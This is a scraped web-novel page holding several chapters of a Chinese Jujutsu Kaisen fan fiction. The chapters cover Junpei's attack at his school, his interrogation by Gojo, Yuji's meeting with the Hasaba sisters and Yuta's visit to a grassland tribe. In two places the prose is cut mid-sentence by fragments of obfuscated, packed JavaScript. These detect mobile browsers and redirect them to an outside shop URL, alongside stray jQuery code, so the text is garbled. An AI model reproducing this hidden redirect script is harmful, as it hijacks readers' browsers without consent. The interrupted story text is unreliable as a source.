胀相一字一句地说着,仿佛想要就此将自己的心意深深刻进虎杖悠仁的心里,如此才能确定他真的听懂了自己的言下之意:“我既无法走在你的前方,那就让我们成为你的后盾吧。你的每一个选择都至少还有我的支持,所以悠仁......多少走得轻松一点吧。”
他们的前方没有范本,因此注定在向前闯的时候撞得头破血流。就算行差踏错,胀相也会拼命地接住他。
虎杖悠仁终于迟钝地意识到九相图兄弟们的变化。他们似乎已经做出了选择,而日夜相处的、属于家人的时光刻意模糊了这种变化,让虎杖悠仁直到现在才恍然大悟。
“......谢谢你,胀相,”他抬起头,“我明白你的意思了。”
“我们在家里等你。”胀相笑着应道。
86. 第 86 章
“这怎么看都很可疑,简直就像是被人故意放在这里似的。”钉崎野蔷薇已经平复了自己见到床上的尸体后波动的内心,再一次望向规规矩矩放在尸体身上的咒物时笃定地说道。
这东西就是传说中的特级咒物,两面宿傩的手指......看上去和怪物手指一样,通体泛着紫红色,还有那黑色的尖锐指甲,也太恶心了吧?
伏黑惠掀开已经被血水浸湿的被褥看了一眼:“放了冰袋,但是已经完全化了,看来已经离开很久了。”
伊地知洁高向他们说明了辅助监督们调查得到的信息:“受害者名叫吉野凪,她有一个儿子吉野顺平,从案发现场留下来的证据看......”
“是非术师吗?”
“不,”伊地知洁高抬了抬眼镜,没有将眼神从调查报告上移开,“有‘窗’的人提前尝试接触过他,但吉野顺平的警惕性很高,不过能够确定他可以看见咒灵,有没有术式就不好说了。”
伏黑惠的目光落在床上的女性尸体脸上。她看起来还很年轻,不知道是不是有人为她整理了遗容,总之现在看上去就像是在安详地熟睡一般。
“那家伙很聪明,”他的话得到了钉崎野蔷薇的注目,“这里除了被宿傩手指吸引来的咒灵留下的残秽之外,就只有另外一种陌生的咒力气息,应该是吉野顺平留下来的。”
“伏黑你的意思是,还有第三个人来过这里?”钉崎野蔷薇顺着他的思路继续想。导致吉野凪死亡的真正原因毫无疑问是咒灵,估计等级不会太低,毕竟像蝇头一类的低级咒灵不会对人类造成形似腰斩的伤害。
如果只是太过倒霉、恰巧碰到了咒灵倒也能够解释得通,意外就是这样猝不及防,可是现在有宿傩的手指出现在了现场,咒术师们难以避免地开始多想了一些。
“有人故意将手指放到了这里,吸引咒灵过来导致了吉野凪的死亡?搞不懂,这么做有什么好处吗?”
钉崎野蔷薇大声说出了自己的疑问。
“就是因为不知道才会这么头疼,”伏黑惠抚着后颈,问伊地知洁高,“能确定吉野顺平的下落吗?”
“有辅助监督去他的学校那边查看情况了,不出意外他应该就在那边。”
钉崎野蔷薇挑眉:“我有种猜测。伏黑,你也是吧?”
“......总之,先找到吉野顺平再说吧。在那之前我们先把这根手指回收了。”伏黑惠没有正面回答她。
将手指放在这里的家伙看起来就像是故意将这根手指送给他们似的。联想到前段日子虎杖悠仁也问起了手指的事,伏黑惠觉得它们之间肯定有什么联系,只是他本人碍于情报不足才无法看穿。
伊地知洁高出门接了通电话,回来告知他们找到了吉野顺平的下落:“他的确在学校,甚至还有‘帐’被降了下来。”
这下伏黑惠的“第三人存在论”被彻底证实了,哪怕第三个人并不在现场,也肯定在背后指点过吉野顺平。
“伊地知先生,你确定他之前从来没有表现出咒术天赋吗?”
伊地知洁高擦了擦额头的汗:“‘窗’的人发现吉野顺平是因为他是神奈川县川崎市电影院事件的目击者,事件中的3名受害人与他是同班同学,不过从监控视频来看吉野顺平并非嫌疑人,但他肯定看见了什么。”
这种信息对分析现状没什么作用,伏黑惠和钉崎野蔷薇乘车跟着伊地知洁高前往被“帐”笼罩的里樱高校。
钉崎野蔷薇撑着脸望着车窗外,过了一会儿开口问道:“一般遇到这种情况要怎么处理?”
伏黑惠神色如常:“如果本人不是无可救药的话,很大的可能性会被招进东京或者京都的高专吧。五条老师最喜欢这么干了。”
再加上现在咒术总监部对他的桎梏放开了不少......算了,这话也相当于什么都没说,五条悟想干的事情一定都能干成,不管那些老橘子们如何反对,也只能在口舌上逞逞威风,还得担心万一真的触怒了他会发生什么样的结果。
钉崎野蔷薇继续问:“那万一他是个杀人不眨眼的诅咒师呢?”
“抓起来拷问有没有同伙,如果还有利用价值就压榨干净,没有的话......”
她拉长声音嗯了一声,没再多说。
羂索和真人站在“帐”外,看着吉野顺平走进了体育馆。
“呐夏油,我们来打个赌吧。”真人伸出舌头舔了舔嘴唇。
“嗯?你想赌什么?”羂索的大部分注意力集中在“帐”上。这是一个术师可以自由进出、但拒绝非术师离开的“帐”,此时他和真人站在“帐”外,借由束缚,这个“帐”的强度又提升了一个档次。
但不拒绝术师出入的“帐”本就很难被术师攻击到,又因为施术者本人不在“帐”内受到保护,增加了自身被击溃的风险从而令“帐”的强度提高,如今呈现出的效果已经足够让羂索满意。
下一次就找个机会尝试一下嘱托式的“帐”和针对某个人的“帐”吧。
真人兴奋地说:“你觉得顺平会下手杀人吗?”
羂索对这些不感兴趣,所以只是顺着真人的说法回答道:“不会。你只是改造了他大脑有关术式部位的构造,人的行为模式不会在得到力量后立刻发生变化,除非细微的改变堆积到了极点——在发生质变的时候才会做出让人觉得惊喜的行动吧。”
他看了一眼手机,笑眯眯地和真人告别:“手指已经被回收,我就先离开了。玩得开心,真人。”
真人摊手。它已经将按钮交给了吉野顺平,要不要按下去全看他自己的选择喽。
按钮。
吉野顺平叫出了淀月,水母式神柔软的触手刺伤了不知悔改的霸凌者们,最后死死缠住了伊藤的脖子。
如果有一个按下就能让自己讨厌的人全都死去的按钮的话,吉野顺平说不定还会犹豫一会儿。可若是有一个按下就能让所有讨厌自己的人都去死的按钮,他会毫不犹豫地按下去。
体育馆内横七竖八倒地的学生们全都受到了他的诅咒,尽管没有用淀月让他们中毒,不过单纯被咒力攻击也不会太过好受。
被“看不见的东西”带离地面的伊藤还在叫嚣着,连威胁他的话都和以前一模一样。被过长的发丝遮挡住的右侧额头隐隐作痛,结痂的烟疤似乎又一次被人生生撕开,让萦绕在耳边的喋喋不休变得像是尖刀一般直直扎入吉野顺平的胸膛。
“够了,”淀月在负面感情的滋润下骤然膨大了体型,粗壮的触手死死勒住了伊藤的脖子,“我听不下去了——”
“吉野!你到底在干什么啊?!伊藤怎么?!”外村老师急匆匆地赶来,和其他意识到发生了意外事件的老师们一起跑向倒地不起的学生们。
吉野顺平瞪向了胖胖的班主任。如果不是吉野凪就在身后,当时他恐怕会直接失控、让淀月诅咒他了吧?
看不清真相、无意中成为了加害者......那和他有什么关系?!看不清就是你的错,要我原谅你,那谁来替我承受痛苦?!
猛禽的啸叫震碎了体育馆的玻璃,吉野顺平的怒火尚未触及到外村,一个巨大的黑影从体育馆外冲了进来,他只来得及看清那只大鸟脸上覆盖着的白色骨面具,下一刻就感觉有电流击穿了他的身体。
“去吧!”在伏黑惠的命令下,黑白玉犬跟在鵺的身后冲了出去。
“连人质一起?”钉崎野蔷薇准备好了钉子和咒具,不过现在看起来并不需要她出手。
鵺的雷电将被淀月举起的伊藤一同纳入了进攻的对象,受到电击而麻痹的吉野顺平下意识地放松了对式神的控制,已经近乎失去意识、连呼吸能力都被剥夺的伊藤像是软绵绵的人偶一样重重落在了地上。
“漩涡纽扣......你们是咒术师!少来妨碍我!!”
指尖仍旧因为电击而颤抖着,吉野顺平尚能勉强保持站立,可无论如何也无法继续操纵淀月,只能眼睁睁看着黑白玉犬将水母式神狠狠撕碎。
同为式神使,伏黑惠在和吉野顺平打照面的瞬间就看出他的术式等级并不高,水母式神看起来还不具备自主行动的能力,受了鵺的一击后已经近乎失去了全部的战斗力。
吉野顺平猛缩的瞳孔一直死死盯着倒地的伊藤。他有些歇斯底里地跌跌撞撞扑了过去,无师自通,用咒力包裹住了拳头。只要这挥起的一拳落下,他就能彻底摁下那个按钮。
“你给我清醒一点啊!!”
钉崎野蔷薇换了一个玩具锤子,狠狠一锤砸到了吉野顺平的脸上,力道之大竟然直接让他整个人向旁侧倾倒,再也无法勉强保持平衡:“一旦你真的杀了他,就彻底没办法回头了啊!!你难道真的不明白这件事吗?”
“......为什么要救这种人?”为什么别人想要诅咒他和他爱的人就那么容易,而他仅仅是想要报仇而已,为什么总有人冒出来阻止他?!
“我......我啊,”吉野顺平跪在地上,嘶声怒吼,散发着淡淡荧光的式神再一次构筑出了雏形,柔软垂落的触手环绕在他的身旁,“绝对不能原谅!!!”
不论是喂虫子还是用烟头烫他的额头取乐,这一切他都忍耐下来了,他都忍下来了!!可为什么——你们还是不能满足?
为什么要把“那个东西”放到他的家里?!被那根手指引来的咒灵咒杀了他的妈妈,那么他就该以牙还牙、以眼还眼,这才是最公平的不是吗?!
“喂伏黑!他看起来什么都听不进去,”钉崎野蔷薇看着再一次被重新召唤出来的水母式神,有些难办地说,“干脆别管那么多了,打倒他之后带回去让家入小姐......”
“......就这样办吧。”
伏黑惠大概模模糊糊地能推测出吉野顺平视角下发生的来龙去脉,但他觉得相互说明的事情应该留到高专贴满咒符的封印室里进行,当下最重要的事是解决正在发生的诅咒事件,不能让情况继续恶化下去。
年轻的十影术师比出手影,呼唤着数量庞大的式神:“脱兔!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378225|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>钉崎野蔷薇也换回了真正的铁锤咒具,指缝间夹着铁钉。
真人已经慢慢溜达到体育馆外了。
“嗯......海胆头少年居然是个务实的性子,这下没意思了~”它还是蛮好奇接受了自己蛊惑的吉野顺平能和咒术师们碰撞出什么灵感的结晶,没想到来执行任务的这两个咒术师完全没有对话的意思,亏它还略微期待了一番。
“诶?说不定应该让虎杖悠仁和顺平接触一下看看,应该会比现在更精彩吧?”它摸着下巴,不怀好意地哼笑着说。
关于人究竟有没有“心”这件事。
吉野顺平接受了真人的蛊惑,亦或者可以说,只有坚信真人告诉他的全都是真实的,他才能够得到救赎。
人类根本没有心,所谓由心产生的七情六欲不过都是灵魂代谢的产物,因此每个生命的价值都是同等的。
“没有任何意义。”吉野顺平任由自己额头的伤疤暴露在空气中,身后式神的触手爆发,带有剧毒的尖锥迎面撞上了成群结队涌来的雪白脱兔。
——
虎杖悠仁在一处废弃厂房里见到了曾经的“家人们”。
“悠仁?!你怎么——”枷场菜菜子惊讶地喊了一声,随即明白了什么,面色难看了起来。
“好久不见,菜菜子,美美子。”粉发少年抬手,努力像曾经那样和她们打招呼。
拉鲁双手抱臂,闭眼说道:“怪不得......说说你的想法吧,悠仁。”
枷场菜菜子却不准备就这样放过他:“等一下啊?你先说说这到底是怎么回事?!为什么你会和那个冒牌货混在一起啊?!”
虎杖悠仁无法回答,所以他只能摇头,拒绝面对枷场菜菜子的质问。
“你早就知道了吗?”枷场美美子问道。
沉默就是最好的回答。
菅田真奈美叹了口气:“事到如今还纠结这些问题......不如说说你们都是怎么想的吧。悠仁,你既然选择跟着他,难道他说得都是真实的吗?”
为了得到诅咒师们的助力,羂索一定像是哄骗夏油杰那样将同样的理由搬了过来,因为他知道只有这样的理由才能够彻底打动这群人。
“我,”虎杖悠仁无法将羂索更恐怖的、不可告人的秘密宣之于口,不过此时此刻他却是真心实意地说道,“要继承夏油先生的遗志。”
将这世上的一切“诅咒”抹消殆尽。
没有人想到率先说出“遗志”一词的居然是虎杖悠仁。祢木利久看上去想说什么,却被愤怒而尖锐的女声打断了。
“......开什么玩笑。开什么玩笑啊虎杖悠仁!!!”
枷场菜菜子跨步走到粉发少年的身前,硬生生拉着他的领口怒视他的双眼:“夏油大人的故事已经结束了——我绝不允许有人像是僵尸一样玩弄他的尸体!”
祢木利久的声音在他们身后响起:“你这不是也很明白了吗?大家想做的也只是完成他的遗志而已,只要能够达成他许诺的未来,我不在乎那个人到底是谁。”
他看不见背对他的虎杖悠仁究竟露出了怎样的表情,而直面少年的枷场菜菜子却将之看了个一干二净。
她骤然松开手,像是受到了什么惊吓,大脑早早地意识到她绝对没办法轻易接受,所以让身体自动远离了可能伤害到她的源头。
“菜菜子......”枷场美美子扶住了她,同样抬头望向站在原地不再说话的粉发少年:“悠仁,你......?”
“是你、吗?居然是你吗?!!”
这一刻终究还是到了。虎杖悠仁尽可能不让自己的五官因为酸涩的情感而皱在一起,他想象着自己抚平眉头、拉低嘴角,露出一个坦然的表情:“对不起。”
枷场美美子不可置信地问道:“为什么?受人胁迫还是意外?我们不相信你会......”
菅田真奈美准备结束这场看似无谓的争吵:“行了菜菜子、美美子,你们多少也该接受现实了吧。别总像小孩子一样。”
枷场菜菜子垂着头,然后猛地抬了起来,眼中难掩悲切的疯狂:“......夏油大人已经为了自己的理想而死,我们早就接受了这个结局——但我还是那句话,我绝对不允许他的尸体被人那样亵渎!!”
“——要是拿大人和小孩来说事的话,那我们就没什么好谈的了!!!”
她抬起手机,在愤怒的驱使下将摄像头对准了眼前这群熟悉而陌生的家人。怎么会呢?他们明明是家人,为什么会允许有人亵渎夏油杰的尸体?!只是想到那个画面她就会觉得作呕,连带着眼前的这群人也变得面目可憎了起来。
“菜菜子!”虎杖悠仁主动迎了上去,将屏幕用自己的身体填满。这是他的罪孽,他不会再将其当做自我逃避的借口。
“再相信我一次吧,”粉发少年瞪着双眼,其中燃烧的火光让将视线投入那片琥珀之湖里的人不由得心惊胆战,“我向你发誓,这一次,我一定会让他想见到的未来变成现实。”
87. 第 87 章
“脸上有缝合线的咒灵?嗯——这倒是有点意思。”五条悟的身后跟着看起来有点惨兮兮的伏黑惠,他的头、脖子和手臂上都缠满了绷带,现在正在往封印室所在的地方走去。
未登录的特级咒灵,甚至拥有能够对话的知性。按照伏黑惠所说,它甚至还会在战斗中不断进化。如果不是七海建人赶了过去,说不定伏黑惠和钉崎野蔷薇真的会在里樱高校全军覆没。
“问过悠仁了吗?”
伏黑惠撇开头:“还没有。”
“诶?别害羞啊,”五条悟没戴眼罩,所以一头白色头发乖顺地垂了下来,“那孩子应该也不介意你多打扰他吧?”
见伏黑惠没有应声,五条悟挑眉,用一种轻佻的语气给出了他的保证:“虽然我想你应该还不至于后悔......没关系的,就算事情恶化到了不得不动手的地步,老师我也不会让你们感到为难的。”
没有人愿意总去预想最坏的未来,可伏黑惠知道这样的承诺必不可少......也许是时候继续调伏剩余的式神了。伏黑惠不奢求他能在有生之年调伏魔虚罗,但至少要将排在后面的円鹿、贯牛等式神调伏,为他的战斗提供更多倚仗。
在五条悟和伏黑惠抵达封印室前,夜蛾正道已经和吉野顺平谈了很久。在这位投身于教育事业大半辈子的中年人来看,吉野顺平的经历恰好反应了咒术高专存在的必要性。能够行使咒力,却无法妥善利用好这种与众不同的能力,也许还会误入歧途、被邪恶想法蛊惑、被力量蒙蔽了双眼。
在彻底沦为利用自己的天赋咒杀他人的诅咒师之前,至少还有一批人愿意挽救他们。
“校长,看你的样子似乎不太顺利?”
夜蛾正道推了推和五条悟看上去是同款的墨镜,不怎么在意这一次的“挫败”:“想要解开心结有多困难你我都很清楚,但愿这孩子能想通吧。”
踏上教育之路后,身为教师的夜蛾正道已经见过太多的遗憾。无法拯救自己的学生、无法开解他们的心结、无法帮他们摆脱命运......也许永远无法习惯,刺痛总是在深夜攀上成年人的心脏,直至黎明前又狡猾地遁入阴影。
“之后就拜托你了,悟。”
“哼哼,交给我吧。”
五条悟带着伏黑惠进了门。
他直接霸占了封印室里除了吉野顺平身下的那一张凳子之外唯一的椅子,倒坐着趴在椅背上:“吉野顺平同学......对吧?我是五条悟,至于这位伏黑惠同学,你应该已经很熟悉了。”
伏黑惠站在一旁没说话。
“那么首先第一个问题!你口中的‘真人’,究竟是什么人?”
吉野顺平坐在椅子上,被以对待诅咒师的方式缚住了双手、封印了咒力,既不准备反抗也不准备如咒术师们所愿回答问题。
“那就由我们先来说明一下针对本次事件的调查情况,应该有你难以接受的事情,不过这就当做拒不配合的小小惩罚吧。”五条悟摊手,不准备继续在这里耗时间。
身为里樱高校诅咒事件的制造者,吉野顺平的情况早已被超负荷工作的辅助监督们调查得一清二楚。祖上没有咒术师血统、本人在近几个月之前也一直没有表现出能够看见咒灵的情况,所有的异常都发生在这段时间内。
“先说结论,”吉野顺平皱着眉头,心中竖起的名为不信任的高墙隐隐爬上了一丝裂纹,“引来咒灵的咒物并非伊藤翔太放在你家的,他本人也与咒术界毫无关系......至少在这场咒杀事件中,他是个完全的无辜者。”
这种判断显然彻底激怒了吉野顺平,他不顾被绑缚在身后的双手,激烈地挣扎着:“开什么玩笑——”
五条悟没有给他喘息的时间:“至于那个缝合脸,你应该在它那里见到过改造人吧?那天的战斗里它应该也有用,就是很恶心地从肚子里吐出来的那些东西。”
他伸出两指并拢在嘴巴前划了两下,将吉野顺平的记忆带回了里樱高校体育馆内的那场战斗。
吉野顺平仍张着嘴,可却一点声音也发不出来了。
——顺平你啊,也就是比你认为是笨蛋的家伙们稍微聪明一点的笨蛋。
他低着头,任由凌乱的发丝在视野中留下道道黑影。
伏黑惠感觉到兜里的手机正在震动,他拿出来看了一眼,和五条悟说:“是那家伙,我去接一下电话。”
五条悟晃晃头:“去吧去吧。”
伏黑惠等到封印室的门在身后被完全地关上,才摁下了接通键:“真少见,你居然主动给我打电话。”
“啊、嗯......哈哈。”
伏黑惠叹了口气:“想问什么就问吧。”
于是虎杖悠仁问道:“你们和真人战斗了?有受伤吗?”
“没有,”伏黑惠无视了手臂的隐痛,坦然地撒谎,“后来七海先生来了,主要都是他在对敌,我们从旁辅助而已。”
“那他真的很厉害啊,”虎杖悠仁蹭了蹭鼻尖,笑道,“看到它那么狼狈我真的很高兴。”
伏黑惠能从他的语气中听出一些幸灾乐祸,似乎和名叫真人的家伙相互看不顺眼。不过也对,仅从里樱高校里那场短暂的碰面就能让伏黑惠认识到真人天真的残忍。这个家伙拥有触碰灵魂、改变肉|体的能力,在战斗中曾吐出了储存在胃里的改造人。
高专众人不是第一次碰见改造人,最早应该是乙骨忧太和狗卷棘在出任务的时候带回了改造人的尸体。
七海建人在战斗结束后曾说“如果仅从这家伙制造改造人的技术来看,它的进步速度堪称恐怖”,也判断出真人作为特级咒灵应当刚刚降生不久,因为它简直就像是个孩子一样无休止地吸收着身边的一切。它在模仿、在学习,甚至在进化。
“多少也该承认了,顺平,”五条悟说道,语气平淡却不容置疑,“诞生自人类对人类的恐惧与憎恶中的咒灵会有‘心’吗?从这样的存在口中听到的、学到的,是可以不假思索就全盘接受的东西吗?”
“......”吉野顺平再也无法忍耐,挤压太久的情感一瞬间如洪水决堤,顷刻间将他吞没,无法呼吸。
“那,”他颤抖着,眼眶酸涩,“那我该怎么办?!如果不承认人没有心的话,难道我和妈妈都是被人心诅咒了不成吗?!!”
“所谓诅咒,正是这种东西啊。”五条悟轻飘飘地说。
憎恶也好,爱也罢,人心中装了太多的东西,珍贵而纯洁的愿望会在心中被扭曲成不应被期待的样子......让人厌恶着的同时又不可救药地渴求着。
“顺平你也是‘某个事件’的受害者。那个缝合脸和我们一直在警惕着的家伙是同伴,你姑且可以认为他们一直在谋划着某种阴谋,一旦成功就可以毁灭世界之类的。宿傩的手指并非一般的特级咒物,对普通的咒术师来说也是不可触碰的存在,但这东西在诅咒手里就不一样了。”
五条悟的话里有些夸张的描述,却让吉野顺平得到了某种慰藉。他终于有勇气抬起头,颤抖着声音问:“那,那只手指是......真人放在我家里的吗?为什么?”
“嗯,这个问题嘛,刚才出去的伏黑惠同学正在向知情人士打听,如果顺利的话等他回来你就能知道为什么了。”
“......”
五条悟拍了拍手,转变话题的速度令人瞠目结舌:“好了——现在该说说第二个问题了。里樱高校的诅咒事件影响太大,尽管大部分被你诅咒的学生没有留下什么后遗症,但那个叫伊藤的就没这么幸运。毒素是连反转术式都难以治疗的存在,他必须得在医院里躺上一段时间了。”
一些专业名词让吉野顺平听得云里雾里,不过他依旧捕捉到了对话中的关键。
“本来对于咒杀非术师的诅咒师,我们一般都会处以死刑的哦。”
吉野顺平听到这里,有些释然地重新将头垂了下去。这样也好,妈妈已经不在了,他现在也深陷泥沼无法抽身。从现在开始重新思考生命的价值与意义注定会让他承受更多的痛苦,如果还有活下去的选择,他大概还会为了对与错、受害者与加害者之类的问题据理力争,但......如果有人信誓旦旦地对他说“现在得请你去死了”,吉野顺平觉得他也没那么不能接受。
五条悟从椅子上站了起来:“夜蛾校长应该已经和你说过高专设立的意义了吧?不用摆出一副天塌下来了的表情啦,想不通的事情之后慢慢想清楚就好,你今年也才十五岁吧?正是犯了错也来得及改正的年纪哦。”
五条悟歪着头,看向满脸迷茫的吉野顺平:“转学的手续已经开始办了,过段时间之后你就是东京都立咒术高等专门学校的一年级学生啦,和惠和野蔷薇他们同一届,尽快和新同学们熟悉起来吧。”
“——诶?!等、这不对吧?!”
吉野顺平冲着五条悟的背影高声喊道:“为什么?!”
他既没有放下仇恨,也没有想明白吉野凪究竟因为谁的阴谋而死,只要想起那些霸凌者的模样就会恨不得立刻诅咒他们去死。为什么还要接纳这样的他?已经落入深渊又不知悔改、不愿悔改的人,凭什么——
“嗯,大概是因为你还在思考生命的价值吧。”五条悟模棱两可的声音传了过来,在他也离开房间后,只留下了满地的寂静与未曾解答的疑惑。
伏黑惠早就挂断了电话,却没有再回到封印室里,现在正靠在墙边等着五条悟。
“他就拜托你们啦。”
“......结果还是推给我们了吗。”
虽然是疑问句,却被伏黑惠用古井无波的语气说了出来,仿佛他对此早有预见。
五条悟低低笑了两声,扬起声音道:“人生中能遇到谁、没有遇到谁,大概都是一种幸运吧。”
听不懂的话就不去强行理解,伏黑惠早已深谙和五条悟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378226|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对话的门道。反正就算问了也只会得到“没什么,等以后大概就懂了吧”的敷衍回答,不过伏黑惠觉得往往这样的问题他们穷极一生也无法得出和五条悟一样的结论。
毕竟没有人能够追得上他,没有人能够和他站在同一高度,自然没人能够理解他真正在想什么。所有说“我能明白”的家伙都是在撒谎罢了,还是以最可笑的、最容易被拆穿的方式。
“所以,悠仁怎么说?”
伏黑惠简单将他刚才和虎杖悠仁的通话内容告知了五条悟。
“诞生自对天灾的恐惧,特级假想怨灵吗,”五条悟捏着下巴沉吟道,“顺平也应该了解一些,看来这次回收的手指真的有点问题啊。”
伏黑惠点头。他看得清楚,在体育馆的战斗中如果不是七海建人抵挡住了真人堪称变态的攻势,它就会找到机会将吉野顺平杀掉的吧。吉野顺平估计多少也意识到了这一点,既没有帮着咒灵也没有做其他的事,只是在脱兔的围困中死死盯着躺在地上的伊藤,这让伏黑惠省去了不少心思牵制他。
五条悟的嘴角翘了起来,显然想到了一些好点子。
——
虎杖悠仁挂断电话后,又想起了之前和枷场姐妹的不欢而散。
哪怕许下了诺言,哪怕他说愿意立下束缚,依旧没能挽回这段从幼时起便已结下的友谊。
她们大概都是太心软了,没有人回应虎杖悠仁立下束缚的决意。就像爷爷曾经告诫过他的话,人与人终究是在海面上自由航行的船,并行、相交,然后自然而然地向着不同的方向继续自己的航路。
拉鲁等人同意会和虎杖悠仁一起完成夏油杰的遗志,而枷场姐妹直到众人散去也依旧沉默不语。
虎杖悠仁知道夏油杰对少女们而言并非单纯的能用“家人”来概括的存在,自从他出现在监牢外将她们救出,带着她们乘坐虹龙在朝阳升起时飞抵东京的刹那,他已经成为了她们的“神”。
她们又花了多长时间让自己接受“夏油杰的故事已经完结了”的这个事实呢?
废弃的厂房里只剩下了他们三人,在令人窒息的沉默填满这里之前,枷场美美子开口道:“我们绝对不能原谅有人占据他的尸体,玩弄他的理想。也许大家都觉得夏油大人的意志是可以被继承的,只要总有一天有人能够将它完成,那也算是皆大欢喜的结局。”
她留了长发,现在大概已经长到腰部了吧。
“但是啊,悠仁,”她揪紧怀里的玩偶,“我们想要亲眼看见的是他自己实现的理想,由他创造的未来,而不是……被除他之外的谁来开创的世界。”
虎杖悠仁听明白了她的意思。
一直没有说话的枷场菜菜子突然出声,有些含糊不清,却也被虎杖悠仁敏锐地捕捉到了:“……而且你那是什么烂目标?没有诅咒的世界?大家想要的不是杀死所有的猴子吗?!偷换概念的你居然还好意思说是继承了夏油大人的遗志……别让人笑掉大牙了!!”
她将毫不留情的话甩在了虎杖悠仁的脸上,肆意发泄着自己的怒火。
“菜菜子!太过分了。”枷场美美子试图拦住她,可菜菜子的反应比他们想象中的更激烈。
她像一个狂热的信徒一样缅怀着她早逝的信仰,从不忿与不公中诞生出的执念扭曲着她自己,也同样逐渐歪曲着夏油杰在她心中的模样。
虎杖悠仁理解她们,却不能后退。
而且。
“我说的是要继承夏油先生的遗志,”琥珀色的双眼爆发出明亮灼人的光,“夏油先生的,遗志。”
被单独拿出来反复碾磨的词驱散了萦绕在枷场姐妹眼前的迷雾,她们半信半疑地抬起头,连满脸怒意的枷场菜菜子都被自己的猜测吓了一跳。
“你的意思是……”
这是虎杖悠仁第一次用局限住他视野的语言来反抗根植在心中的束缚。
只有死去之人的意志才配称得上遗志。
既然将名字、身体连同身份一同夺走,就要承受爱着他的人们向他发起的“诅咒”。
“......”枷场菜菜子逐渐平静了下来。
“悠仁,”枷场美美子将她拉了起来,说道,“再给我们一点时间吧。”
虎杖悠仁不会强迫他们认同他的理念,不论她们作何选择,他都能够全盘接受:“如果你们想好了,不论认同还是拒绝,都再和我联系吧。”
“......你和忧太说过吗?”
虎杖悠仁点头。
枷场美美子露出了一个浅浅的笑:“好。”
她们像是只剩下彼此可以依靠似的相互搀扶着离开了这里,废弃厂房内终于只剩虎杖悠仁一个人。
他悄然蹲了下来,无声地注视着浮土上杂乱的脚印。
大洋彼岸的草原部落里,乙骨忧太见到了制作特级咒具的部落术师,以及已经被断言再无修复可能的、仅剩的一截黑绳。
88. 第 88 章
米盖尔和老人沟通了很久,最后摇着头和乙骨忧太说:“不能,也没可能了。那种特殊的诅咒已经自然地消失了,除非它再一次出现,否则想要继续制作新的黑绳也不可能了。”
乙骨忧太将最后一点黑绳拿到了手里:“没关系,能拿到一点已经是很幸运的事了。”
他将之翻来覆去地看了几遍,问道:“这东西能够破除束缚吗?”
米盖尔也不知道这个问题的答案,所以只能和部落里的老人用家乡语沟通起来。
“她说可以,”他顿了顿,疑惑地问道,“这是真的吗?它不是扰乱术式的咒具吗?”
部落的老人用拐杖在地上戳出一个一个坑,看起来是在责备米盖尔。她叽里咕噜说了一大堆来解释,米盖尔听完后恍然大悟:“前面多余的部分我就不翻译了。扰乱术式的效果本质上还是通过搅动咒力来实现的,在术式发动的过程中阻碍咒力流动,术式自然也就无法使用了。建立束缚也是施用咒术的一种,黑绳能够破除束缚,但是需要一点特殊手段。”
乙骨忧太突然觉得浑身腾起了不自然的兴奋,手中不足一掌宽的绳索变得似有千钧重,连带着他的心跳都如雷贯耳。
老人睿智的目光扫过这个来自陌生国度的少年,看穿了他。想要强行破除多人间建立的束缚,只能选择将其中一方以非自然的方式剥离出去,缺了构成束缚的必要对象,条件苛刻的束缚自然也就会强行结束。
这片辽阔草原上的诅咒密度和术师的数量虽然远远比不上乙骨忧太的国家,但老人在漫长岁月中积累的经验却远超这个人生尚未行至她一半年岁的少年。
“咒术有的时候死板而固执,死了就是死了,活着就是活着。”她说道。
至于你是死了活,还是活了又死......它像一个随时随地都在刷新的探测器,死了就断开,活了,那就再连上。
浑浊的双眼对上了无光的黑眸,乙骨忧太从她口中听到了自己想要知道的事。
“啊,”他轻叹一声,“真是,太感谢您了。”
米盖尔问:“你想怎么做,乙骨?”
乙骨忧太没有回答他的疑问,只是摇了摇头:“谢谢你米盖尔先生,我......”
部落的老人此时却又再度开口:“但是仅凭剩下的这一点绳子是做不到的。”
这下米盖尔和乙骨忧太两人都彻底噤声,望向突然泼出一盆冷水的老人。
“可是你说制作黑绳的诅咒已经......”
“在这片大地的确已经自然消亡了,”老人说道,“这里太过辽阔,人太少了,如今部落里也只剩下像我这样不愿意离开的老人,没有了‘养料’,诅咒自然不可能继续存在。”
乙骨忧太凝望着老人的脸,目光不由自主地带上了一些祈求。他没办法接受看到了希望又只能亲手将它放开,那会让他忍不住诅咒什么的。
老人瞥了他一眼,似是叹息又像是在责备他的愚钝:“比起在我们这里找,不如回到你的国家去看看。”
乙骨忧太的眼睛亮了起来:“您的意思是说——”
“进来吧,”老人用拐杖掀起了帐篷的门帘,对乙骨忧太说道,“我来教你怎么制作黑绳。以你的天赋,学上一两个月应该也能学个大概吧。比起质量,选择数量对你来说更合适一些。”
米盖尔双手抱臂:“我能跟着一起学吗?”
回答他的是在他眼前放下的门帘。
“......好吧。”
但是你们就这样把唯一的翻译关在门外了?
——
“哈哈,夏油,你的阴谋又一次落空了哦~”真人幸灾乐祸地说道。
在吉野顺平家被高专回收的宿傩手指上留下了真人的残秽,通过感知咒力,真人能够大致找到那根手指的下落。
五条悟把那根手指拿到了五条家,封印在了地下空间里。
羂索倒是不恼:“是你做的太粗糙了,真人。”
